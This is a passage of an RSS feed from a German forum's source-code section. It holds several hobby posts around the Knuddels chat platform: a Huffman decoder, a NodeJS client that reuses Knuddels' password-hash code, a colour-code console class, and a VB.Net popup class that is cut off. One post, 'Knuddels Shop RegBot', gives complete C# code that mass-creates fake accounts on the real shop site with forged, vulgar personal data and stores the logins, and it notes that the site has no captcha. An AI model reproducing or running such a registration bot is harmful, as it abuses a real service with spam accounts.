(char)53, (char)77, (char)105, (char)120, (char)35, (char)65, (char)115, (char)35, (char)116, (char)112, (char)55, (char)110, (char)101, (char)110, (char)33, (char)108, (char)100, (char)32, (char)48, (char)53, (char)31, (char)105, (char)115, (char)11, (char)195, (char)34, (char)76, (char)252, (char)15, (char)1752, (char)15, (char)1761, (char)15, (char)1762, (char)15, (char)162, (char)54, (char)71, (char)101, (char)115, (char)54, (char)97, (char)117, (char)102, (char)54, (char)97, (char)110, (char)100, (char)54, (char)98, (char)108, (char)103, (char)33, (char)112, (char)114, (char)52, (char)117, (char)110, (char)100, (char)31, (char)97, (char)108, (char)34, (char)73, (char)110, (char)34, (char)87, (char)252, (char)54, (char)104, (char)105, (char)101, (char)54, (char)103, (char)101, (char)115, (char)34, (char)246, (char)223, (char)34, (char)112, (char)115, (char)31, (char)98, (char)101, (char)32, (char)50, (char)53, (char)54, (char)49, (char)52, (char)48, (char)35, (char)104, (char)115, (char)16, (char)969, (char)16, (char)239, (char)16, (char)147, (char)16, (char)963, (char)34, (char)52, (char)54, (char)10, (char)128, (char)31, (char)49, (char)52, (char)32, (char)51, (char)53, (char)33, (char)69, (char)109, (char)54, (char)103, (char)101, (char)114, (char)31, (char)99, (char)103, (char)10, (char)107, (char)6, (char)45, (char)34, (char)119, (char)104, (char)35, (char)114, (char)112, (char)17, (char)148, (char)18, (char)923, (char)18, (char)155, (char)16, (char)9553, (char)16, (char)129, (char)17, (char)208, (char)19, (char)287, (char)19, (char)399, (char)19, (char)9632, (char)19, (char)9668, (char)33, (char)80, (char)97, (char)11, (char)85, (char)32, (char)98, (char)108, (char)33, (char)99, (char)97, (char)54, (char)118, (char)97, (char)116, (char)33, (char)51, (char)55, (char)34, (char)101, (char)117, (char)34, (char)109, (char)115, (char)33, (char)77, (char)105, (char)33, (char)99, (char)115, (char)53, (char)100, (char)105, (char)101, (char)33, (char)97, (char)121, (char)33, (char)102, (char)105, (char)10, (char)192, (char)32, (char)117, (char)109, (char)53, (char)115, (char)101, (char)110, (char)9, (char)61, (char)33, (char)66, (char)114, (char)34, (char)117, (char)108, (char)34, (char)102, (char)121, (char)53, (char)118, (char)111, (char)114, (char)33, (char)87, (char)108, (char)54, (char)116, (char)115, (char)99, (char)32, (char)114, (char)100, (char)31, (char)110, (char)101, (char)34, (char)75, (char)117, (char)15, (char)949, (char)15, (char)1090, (char)35, (char)82, (char)252, (char)54, (char)80, (char)97, (char)114, (char)35, (char)56, (char)53, (char)35, (char)119, (char)99, (char)34, (char)99, (char)114, (char)33, (char)114, (char)109, (char)8, (char)49, (char)6, (char)95, (char)4, (char)32 }))<br />
        {<br />
<br />
<br />
        }<br />
        public Huffman(string pTree)<br />
        {<br />
            this._tree = new Dictionary&lt;string, string&gt;();<br />
            this._helper = new StringBuilder();<br />
<br />
<br />
            #region Create Tree<br />
<br />
<br />
            int pathIndex = 1;<br />
            int treeDepth = -33;<br />
            int strLength;<br />
            for (int index = 0; index &lt; pTree.Length; index += strLength + 1)<br />
            {<br />
                int c = (int)pTree&#91;index&#93;;<br />
                int pathLength;<br />
                if (c == 255)<br />
                {<br />
                    strLength = (int)pTree&#91;index + 1&#93; + 1;<br />
                    pathLength = (int)pTree&#91;index + 2&#93;;<br />
                    index += 2;<br />
                }<br />
                else<br />
                {<br />
                    strLength = c / 21 + 1;<br />
                    pathLength = c % 21;<br />
                }<br />
                if ((pathIndex &amp; 1) == 0)<br />
                {<br />
                    ++pathIndex;<br />
                    for (; treeDepth &lt; pathLength; ++treeDepth)<br />
                        pathIndex &lt;&lt;= 1;<br />
                }<br />
                else<br />
                {<br />
                    do<br />
                    {<br />
                        pathIndex &gt;&gt;= 1;<br />
                        --treeDepth;<br />
                    }<br />
                    while ((pathIndex &amp; 1) == 1);<br />
                    ++pathIndex;<br />
                    for (; treeDepth &lt; pathLength; ++treeDepth)<br />
                        pathIndex &lt;&lt;= 1;<br />
                }<br />
<br />
<br />
                int path = this.CalcPath(pathIndex, pathLength);<br />
                string value = pTree.Substring(index + 1, strLength);<br />
<br />
<br />
                #region Add to Tree<br />
<br />
<br />
                _helper.Clear();<br />
                do<br />
                {<br />
                    _helper.Append(path &amp; 1);<br />
<br />
<br />
                    path &gt;&gt;= 1;<br />
                    pathLength--;<br />
                } while (pathLength != 0);<br />
<br />
<br />
                _helper.Append(&quot;1&quot;);<br />
                if (_tree.ContainsKey(_helper.ToString()))<br />
                    throw new Exception(&quot;Error constructing tree: &quot; + value);<br />
<br />
<br />
                _tree.Add(_helper.ToString(), value);<br />
<br />
<br />
                #endregion<br />
            }<br />
<br />
<br />
            #endregion<br />
        }<br />
<br />
<br />
        public string Decompress(byte&#91;&#93; pBuffer)<br />
        {<br />
            if (pBuffer == null)<br />
                return null;<br />
<br />
<br />
            _helper.Clear();<br />
            var buffer = new StringBuilder();<br />
<br />
<br />
            bool end = false;<br />
            int index = 0;<br />
            int depth = 0;<br />
<br />
<br />
            while (!end)<br />
            {<br />
                _helper.Append(GetNodeIndex(pBuffer, ref index, ref depth, ref end));<br />
                _helper.Append(&quot;1&quot;);<br />
<br />
<br />
                if (_tree.ContainsKey(_helper.ToString()))<br />
                {<br />
                    var value = _tree&#91;_helper.ToString()&#93;;<br />
                    if (value == &quot;\\\\\\&quot;)<br />
                    {<br />
                        var charCounter = 0;<br />
                        for (int j = 0; j &lt; 16; j++)<br />
                        {<br />
                            charCounter += (GetNodeIndex(pBuffer, ref index, ref depth, ref end) &lt;&lt; j);<br />
                        }<br />
                        buffer.Append((char)charCounter);<br />
                    }<br />
                    else<br />
                    {<br />
                        buffer.Append(value);<br />
                    }<br />
                    _helper.Clear();<br />
                }<br />
                else<br />
                {<br />
                    _helper.Remove(_helper.Length - 1, 1);<br />
                }<br />
            }<br />
<br />
<br />
            return buffer.ToString();<br />
        }<br />
        public byte&#91;&#93; Compress(string pString)<br />
        {<br />
            if (pString == null)<br />
                pString = string.Empty;<br />
<br />
<br />
            var bitBuffer = new StringBuilder();<br />
            _helper.Clear();<br />
            for (var i = 0; i &lt; pString.Length; i++)<br />
            {<br />
                _helper.Append(pString&#91;i&#93;);<br />
                if (_tree.ContainsValue(_helper.ToString()))<br />
                {<br />
                    foreach (var pair in _tree)<br />
                    {<br />
                        if (pair.Value != _helper.ToString())<br />
                            continue;<br />
<br />
<br />
                        bitBuffer.Append(pair.Key.Substring(0, pair.Key.Length - 1));<br />
                        _helper.Clear();<br />
                        break;<br />
                    }<br />
                }<br />
            }<br />
<br />
<br />
            var bits = new string(bitBuffer.ToString().Reverse().ToArray());<br />
            var buffer = new List&lt;byte&gt;();<br />
<br />
<br />
            for (int index = bits.Length; index &gt; 0;)<br />
            {<br />
                buffer.Add((byte)Convert.ToInt32(<br />
                                            bits.Substring(<br />
                                                index - 8 &lt; 0 ? 0 : index - 8,<br />
                                                 index &lt; 8 ? index : 8<br />
                                            ),<br />
                                            2<br />
                                        ));<br />
<br />
<br />
                index -= index &lt; 8 ? index : 8;<br />
            }<br />
            return buffer.ToArray();<br />
        }<br />
<br />
<br />
        private int GetNodeIndex(byte&#91;&#93; buffer, ref int index, ref int depth, ref bool end)<br />
        {<br />
            int num = 0;<br />
            if (((int)buffer&#91;index&#93; &amp; 1 &lt;&lt; depth) != 0)<br />
                num = 1;<br />
            depth++;<br />
            if (depth &gt; 7)<br />
            {<br />
                depth = 0;<br />
                index++;<br />
                end = index == buffer.Length;<br />
            }<br />
            return num;<br />
        }<br />
        private int CalcPath(int index, int pathLength)<br />
        {<br />
            int count = 0;<br />
            int shiftHelper = 1;<br />
            int shiftCounter = 1 &lt;&lt; pathLength - 1;<br />
            for (; pathLength &gt; 0; --pathLength)<br />
            {<br />
                if ((index &amp; shiftHelper) != 0)<br />
                    count += shiftCounter;<br />
                shiftHelper &lt;&lt;= 1;<br />
                shiftCounter &gt;&gt;= 1;<br />
            }<br />
            return count;<br />
        }<br />
    }<br />
}
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>SeBi</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-huffman-40201</guid>
		</item>
		<item>
			<title>NodeJS Knuddels Client (HTMLChat)</title>
			<link>sourcecode-91/nodejs-knuddels-client-htmlchat-35515?goto=newpost</link>
			<pubDate>Tue, 02 Dec 2014 20:41:44 GMT</pubDate>
			<description>Moin, 
 
ich hatte mir am Sonntag den HtmlChat von Knuddels genauer angesehen und weil mich der Reiz packte, für diesen einen Client in Nodejs...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
<br />
ich hatte mir am Sonntag den HtmlChat von Knuddels genauer angesehen und weil mich der Reiz packte, für diesen einen Client in Nodejs geschrieben.<br />
Source im Anhang.<br />
<br />
<a href="https://u-img.net/view/6414Wc.png" target="_blank"><img src="https://u-img.net/img/6414Wc_thumb.png" border="0" alt="" /></a><br />
<br />
Zum Ausführen braucht ihr Nodejs und npm.<br />
Im Ordner dann mittels dem Befehl <b>npm install</b> die Abhängigkeiten laden und danach mittels dem Befehl <b>grunt</b> den Source in Javascript kompilieren. Dann reicht ein einfacher <b>node dist/main.js</b> um die Anwendung zu starten. Vorher vielleicht in der src/main.coffee eure Nickdaten eintragen..<br />
<br />
Das könnte man nutzen um ziemlich einfach und ressourcenschonend mit einem Server einen Stayonlinebot laufen zu lassen. Zumindest könnte damit jemand einen Stayonlinebot basteln, im jetzigen Zustand loggt sich der Client nur ein und gibt die Pakete aus. Auf Pings von Usern reagiert der Client bereits und dieser sendet wie der originale alle 2 Minuten einen Ping an den Server.<br />
<br />
Zum generieren des Passworthashes hab ich einfach den Teil für die Generierung aus dem originalen Sources von Knuddels genommen. Siehe <b>src/knds/pwd.coffee</b>. Sobald Knuddels die Version sperrt, kann man sich mit dem Source nicht mehr einloggen. Dauert aber auch nur 2min um den Source zu kopieren der das PW generiert, sofern man weiß in welchem Teil von <b><a href="http://www.knuddels.de/sf/f/htmlchat/webapp.min.js" target="_blank" rel="nofollow">webapp.js</a></b> sich dieser befindet.<br />
<br />
Ich werd vermutlich nichts mehr damit machen, also Viel Spaß.</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=8326&amp;d=1417552351">141202-nodejs-knds_by_patlux.zip</a> 
(13,7 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>patlux</dc:creator>
			<guid isPermaLink="true">sourcecode-91/nodejs-knuddels-client-htmlchat-35515</guid>
		</item>
		<item>
			<title><![CDATA[[Java] TextPanelLight von Knuddels]]></title>
			<link>sourcecode-91/java-textpanellight-knuddels-25968?goto=newpost</link>
			<pubDate>Sun, 25 Aug 2013 18:30:44 GMT</pubDate>
			<description>Hi, 
mir war langweilig und da habe ich das TextPanelLight aus dem Applet 88i reversed. 
 
Ich sage zu dem Code nichts, wer sich damit etwas...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
mir war langweilig und da habe ich das TextPanelLight aus dem Applet 88i reversed.<br />
<br />
Ich sage zu dem Code nichts, wer sich damit etwas beschäftigt, weiß grob, wie es funktioniert.<br />
Ein Sample (KReverse.java) ist auch gegeben.<br />
<br />
Wenn einer auch Langeweile hat (oder auch nicht), kann er versuchen, das nach .NET zu portieren.<br />
Vielleicht mache ich es auch, aber ich glaube eher nicht.<br />
<br />
Wenn sich einer bereit erklärt, kann er ja das TextPanelLight erweitern (KCodes) und die Erneuerungen mit uns teilen.<br />
<br />
<b>Download:</b> <a href="http://www.file-upload.net/download-8006852/TextPanelLight-88i.rar.html" target="_blank" rel="nofollow">File-Upload.net - TextPanelLight-88i.rar</a><br />
<br />
So sieht es dann aus: <br />
<img src="http://u-img.net/img/5800Gb.png" border="0" alt="" /><br />
<br />
Viel Spaß.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-textpanellight-knuddels-25968</guid>
		</item>
		<item>
			<title>Knuddels Shop RegBot</title>
			<link>sourcecode-91/knuddels-shop-regbot-25778?goto=newpost</link>
			<pubDate>Fri, 16 Aug 2013 15:55:54 GMT</pubDate>
			<description>Hatte heute Vormittag ein bisschen Langeweile. 
 
Sinn? Keiner. 
 
C#-Klasse: 
 
 
using System; 
using System.Text; 
using System.Net;</description>
			<content:encoded><![CDATA[<div>Hatte heute Vormittag ein bisschen Langeweile.<br />
<br />
Sinn? Keiner.<br />
<br />
C#-Klasse:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Text;<br />
using System.Net;<br />
using System.IO;<br />
<br />
namespace ConsoleApplication1<br />
{<br />
    class RegBot<br />
    {<br />
        private int anzahlAccounts;<br />
        private string standardPasswort;<br />
        private string fileName;<br />
<br />
        public RegBot(int _anzahlAccounts, string _standardPasswort)<br />
        {<br />
            this.anzahlAccounts = _anzahlAccounts;<br />
            this.standardPasswort = _standardPasswort;<br />
            this.fileName = &quot;accounts_&quot; + DateTime.Now.ToString(&quot;yyyy_MM_dd_HH_mm&quot;) + &quot;.txt&quot;;<br />
            for (int i = 1; i &lt;= this.anzahlAccounts; i++)<br />
            {<br />
                this.sendRequest(i);<br />
            }<br />
            Console.WriteLine(&quot;\nFertig.&quot;);<br />
        }<br />
<br />
        private void saveAccount(string email)<br />
        {<br />
            using (StreamWriter writer = new StreamWriter(this.fileName, true))<br />
            {<br />
                writer.WriteLine(email + &quot;|&quot; + this.standardPasswort);<br />
            }<br />
        }<br />
<br />
        private void sendRequest(int i)<br />
        {<br />
            try<br />
            {<br />
                WebRequest request = WebRequest.Create(&quot;http://shop.knuddels.de/create_account_process.php&quot;);<br />
                request.Method = &quot;POST&quot;;<br />
                string email = GetRandomString();<br />
                string postData = &quot;action=process&amp;firstname=Pimmel&amp;lastname=Nase&amp;email_address=&quot; + email + &quot;%40live.de&amp;street_address=Deine+mudda+1&amp;postcode=45645&amp;city=Pimmelhausen&amp;country=81&amp;telephone=&amp;password=&quot; + standardPasswort + &quot;&amp;confirmation=&quot; + standardPasswort + &quot;&amp;x=53&amp;y=6&quot;;<br />
                byte&#91;&#93; byteArray = Encoding.UTF8.GetBytes(postData);<br />
                request.ContentType = &quot;application/x-www-form-urlencoded&quot;;<br />
                request.ContentLength = byteArray.Length;<br />
                Stream dataStream = request.GetRequestStream();<br />
                dataStream.Write(byteArray, 0, byteArray.Length);<br />
                dataStream.Close();<br />
                WebResponse response = request.GetResponse();<br />
                dataStream = response.GetResponseStream();<br />
                StreamReader reader = new StreamReader(dataStream);<br />
                string responseFromServer = reader.ReadToEnd();<br />
                if (responseFromServer.Contains(&quot;Konto wurde mit Erfolg&quot;))<br />
                {<br />
                    Console.WriteLine(i + &quot;: Erfolg. (&quot; + email + &quot;@live.de)&quot;);<br />
                    saveAccount(email + &quot;@live.de&quot;);<br />
                }<br />
                else<br />
                {<br />
                    Console.WriteLine(i + &quot;: Fail.&quot;);<br />
                }<br />
                reader.Close();<br />
                dataStream.Close();<br />
                response.Close();<br />
            }<br />
            catch<br />
            {<br />
                Console.WriteLine(i + &quot;: Fail.&quot;);<br />
            }<br />
        }<br />
<br />
        public string GetRandomString()<br />
        {<br />
            string path = Path.GetRandomFileName();<br />
            path = path.Replace(&quot;.&quot;, &quot;&quot;);<br />
            return path;<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Aufruf:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
<br />
namespace ConsoleApplication1<br />
{<br />
    class Program<br />
    {<br />
        static void Main(string&#91;&#93; args)<br />
        {<br />
            Console.Title = &quot;shop.knuddels.de RegBot&quot;;<br />
            RegBot regbot = new RegBot(10, &quot;ficker&quot;);<br />
            Console.ReadLine();<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Das Programm erstellt immer eine Textdatei mit den Accounts.<br />
<br />
<img src="http://u-img.net/img/6801Oz.png" border="0" alt="" /><br />
<br />
<img src="http://u-img.net/img/7444Xw.png" border="0" alt="" /><br />
<br />
Scheint wohl echt schwer zu sein ein Captcha einzubauen. <br />
Wer will kann sich das Teil auch einfach runterladen.</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=4907&amp;d=1376668509">KnShop RegBot.zip</a> 
(3,4 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddels-shop-regbot-25778</guid>
		</item>
		<item>
			<title><![CDATA[[C#] KConsole]]></title>
			<link>sourcecode-91/c-kconsole-25333?goto=newpost</link>
			<pubDate>Sat, 27 Jul 2013 11:23:03 GMT</pubDate>
			<description>Eine Klasse die den KCode teilweise richtig interpretiert auf der Console. Gabs glaube ich schonmal irgendwo, aber egal.. 
 
Die Klasse parsed _nur_...</description>
			<content:encoded><![CDATA[<div>Eine Klasse die den KCode teilweise richtig interpretiert auf der Console. Gabs glaube ich schonmal irgendwo, aber egal..<br />
<br />
Die Klasse parsed <u>nur</u> die Farbcodes (°B°) und die einfachen Links (°&gt;text|link&lt;°).<br />
Ich hab die Klasse eigentlich auch nur erstellt damit ich nicht dauernd selber die ConsoleColor ändern muss...nach der Zeit geht das auf die Nerven.<br />
Außerdem hab ich mich jetzt nicht exakt an die von Knuddels gegebenen Farbcodes gehalten, sind noch andere drin und kann sein das etwas nicht korrekt ist. Die Farben hab ich mir halt so ausm Kopf gedacht :D<br />
<br />
<b>Beispiel</b><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4739&amp;d=1374923727" border="0" alt="Name:  kconsole.png
Hits: 1087
Größe:  5,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4740&amp;d=1374923727" border="0" alt="Name:  kconsole2.png
Hits: 1077
Größe:  9,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b>Implementierung</b><br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
// <br />
static void Main(string&#91;&#93; args)<br />
{<br />
            Console.SetOut(new KConsole());<br />
            // ....<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<b>Verwendung</b><br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
// <br />
Console.WriteLine(&quot;Hallo °r°deine °B°Mutter&quot;);<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<b>Klasse</b><br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.IO;<br />
<br />
namespace Knuddels.Utils<br />
{<br />
    class KConsole : TextWriter<br />
    {<br />
        private TextWriter _out;<br />
        private ConsoleColor _color;<br />
<br />
        public KConsole(ConsoleColor pColor)<br />
        {<br />
            _out = Console.Out;<br />
            _color = pColor;<br />
            Console.ForegroundColor = _color;<br />
        }<br />
<br />
        public KConsole()<br />
            : this(ConsoleColor.Gray)<br />
        {<br />
<br />
        }<br />
<br />
        public override Encoding Encoding<br />
        {<br />
            get { return new System.Text.UTF8Encoding(); }<br />
        }<br />
<br />
        public override void WriteLine(string message)<br />
        {<br />
            WriteKCode(message + &quot;\n&quot;);<br />
        }<br />
        public override void Write(string message)<br />
        {<br />
            WriteKCode(message);<br />
        }<br />
<br />
        private void WriteKCode(string pKCode)<br />
        {<br />
            for (int i = 0; i &lt; pKCode.Length; i++)<br />
            {<br />
                switch (pKCode&#91;i&#93;)<br />
                {<br />
                    case '°':<br />
                        try<br />
                        {<br />
                            if (((pKCode.Length - 1) &gt;= i + 1) &amp;&amp; pKCode&#91;i + 1&#93; == '°')<br />
                            {<br />
                                Console.ForegroundColor = _color;<br />
                                i++;<br />
                                continue;<br />
                            }<br />
                            else if (((pKCode.Length - 1) &gt;= i + 2) &amp;&amp; pKCode&#91;i + 2&#93; == '°')<br />
                            {<br />
                                // °B°<br />
                                Console.ForegroundColor = GetColor(pKCode&#91;i + 1&#93;.ToString());<br />
                                i += 2;<br />
                                continue;<br />
                            }<br />
                            else if (((pKCode.Length - 1) &gt;= i + 3) &amp;&amp; pKCode&#91;i + 3&#93; == '°')<br />
                            {<br />
                                // °BB°<br />
                                Console.ForegroundColor = GetColor(pKCode&#91;i + 1&#93; + &quot;&quot; + pKCode&#91;i + 2&#93;);<br />
                                i += 3;<br />
                                continue;<br />
                            }<br />
                            else if (((pKCode.Length - 1) &gt;= i + 1) &amp;&amp; pKCode&#91;i + 1&#93; == '&gt;' &amp;&amp; pKCode.IndexOf(&quot;&lt;°&quot;, i) &gt; 0)<br />
                            {<br />
                                // °&gt;text|befehl&lt;°<br />
                                int index = pKCode.IndexOf(&quot;&lt;°&quot;, i);<br />
                                string text = pKCode.Substring(i + &quot;°&gt;&quot;.Length);<br />
                                text = text.Substring(0, text.IndexOf(&quot;&lt;°&quot;));<br />
                                if (text.StartsWith(&quot;_h&quot;))<br />
                                    text = text.Substring(2);<br />
                                if (text.Contains(&quot;|&quot;))<br />
                                    text = text.Substring(0, text.IndexOf('|'));<br />
                                _out.Write(text);<br />
                                i = index + 1;<br />
                                continue;<br />
                            }<br />
                        }<br />
                        catch (Exception ex)<br />
                        {<br />
<br />
                        }<br />
                        goto default;<br />
                    default:                        <br />
                        _out.Write(pKCode&#91;i&#93;);<br />
                        break;<br />
                        <br />
                }<br />
            }<br />
            Console.ForegroundColor = _color;<br />
        }<br />
<br />
        private ConsoleColor GetColor(string pColor)<br />
        {<br />
            switch (pColor.ToLower())<br />
            {<br />
                case &quot;r&quot;:<br />
                    return ConsoleColor.Red;<br />
                case &quot;dr&quot;:<br />
                    return ConsoleColor.DarkRed;<br />
                case &quot;g&quot;:<br />
                    return ConsoleColor.Green;<br />
                case &quot;dg&quot;:<br />
                    return ConsoleColor.DarkGreen;<br />
                case &quot;y&quot;:<br />
                    return ConsoleColor.Yellow;<br />
                case &quot;dy&quot;:<br />
                    return ConsoleColor.DarkYellow;<br />
                case &quot;w&quot;:<br />
                    return ConsoleColor.White;<br />
                case &quot;m&quot;:<br />
                    return ConsoleColor.Magenta;<br />
                case &quot;dm&quot;:<br />
                    return ConsoleColor.DarkMagenta;<br />
                case &quot;c&quot;:<br />
                    return ConsoleColor.Cyan;<br />
                case &quot;dc&quot;:<br />
                    return ConsoleColor.DarkCyan;<br />
                case &quot;b&quot;:<br />
                case &quot;bb&quot;:<br />
                    return ConsoleColor.Blue;<br />
                case &quot;db&quot;:<br />
                    return ConsoleColor.DarkBlue;<br />
            }<br />
            return _color;<br />
        }<br />
<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4739&amp;stc=1&amp;d=1374923727" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4740&amp;stc=1&amp;d=1374923727" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>patlux</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-kconsole-25333</guid>
		</item>
		<item>
			<title><![CDATA[[VB.Net] Antivir einblendeffekt]]></title>
			<link>sourcecode-91/vb-net-antivir-einblendeffekt-17364?goto=newpost</link>
			<pubDate>Thu, 18 Oct 2012 17:23:15 GMT</pubDate>
			<description>*Antivir einblendeffekt* 
 
                Blendet eine Form langsam rechts unten über der Taskleite ein.  
 
*Wird benötigt* 
 
1. 1x Windows Form...</description>
			<content:encoded><![CDATA[<div><b>Antivir einblendeffekt</b><br />
<br />
                Blendet eine Form langsam rechts unten über der Taskleite ein. <br />
<br />
<b>Wird benötigt</b><br />
<ol class="decimal"><li style="">1x Windows Form (Name: Popup)</li></ol><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br /></span><span style="color: #007700">Public&nbsp;Class&nbsp;</span><span style="color: #0000BB">Popup<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">y&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread<br />&nbsp;&nbsp;&nbsp;&nbsp;Delegate&nbsp;Sub&nbsp;SetLocationCallback</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;location&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Point</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Delegate&nbsp;Sub&nbsp;CloseCallback</span><span style="color: #007700">()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;SetLocation</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;location&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Point</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">InvokeRequired&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;d&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">SetLocationCallback</span><span style="color: #007700">(</span><span style="color: #0000BB">AddressOf&nbsp;SetLocation</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Invoke</span><span style="color: #007700">(</span><span style="color: #0000BB">d</span><span style="color: #007700">,&nbsp;New&nbsp;</span><span style="color: #0000BB">Object</span><span style="color: #007700">()&nbsp;{&#91;</span><span style="color: #0000BB">location</span><span style="color: #007700">&#93;})<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: #0000BB">Location&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">location<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;_Close</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">Me</span><span style="color: #007700">.</span><span style="color: 